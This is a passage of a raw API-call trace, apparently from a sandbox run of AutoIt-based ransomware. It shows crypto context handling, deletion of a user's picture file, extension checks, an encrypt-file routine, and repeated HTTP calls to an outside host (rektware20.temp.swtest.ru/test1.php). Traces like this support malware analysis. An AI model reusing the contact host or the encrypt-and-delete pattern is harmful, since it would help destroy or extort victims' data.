wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.266] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.266] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.266] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.266] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.266] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.266] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.266] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.266] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.267] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.267] CryptReleaseContext (hProv=0x17aa890, dwFlags=0x0) returned 1 [0061.267] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.267] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.267] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.267] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.267] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.267] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.267] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.267] CloseHandle (hObject=0x3bc) returned 1 [0061.267] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.267] CloseHandle (hObject=0x2ac) returned 1 [0061.272] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.272] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.272] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", lpFilePart=0x0) returned 0x50 [0061.273] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\baahg6ks4j086v.jpg")) returned 0x20 [0061.273] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6f0 [0061.273] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\baahg6ks4j086v.jpg")) returned 1 [0061.275] FindNextFileW (in: hFindFile=0x164c6f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.275] FindClose (in: hFindFile=0x164c6f0 | out: hFindFile=0x164c6f0) returned 1 [0061.275] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.276] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.276] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.276] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.276] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.276] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.276] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.276] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.276] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.276] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.276] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.276] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c) returned 1 [0061.276] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.276] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.276] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.277] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.277] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.277] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.277] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.277] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.277] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.278] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.278] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.278] CloseHandle (hObject=0x0) returned 0 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.278] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tUDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UDgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DgxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gxNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xNJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NJIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JIpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.279] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IpBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pBzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BzfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zfKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fKu-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ku-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rXm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xm-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gV.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.280] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.280] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.280] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.280] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.280] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.280] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.280] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.280] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, 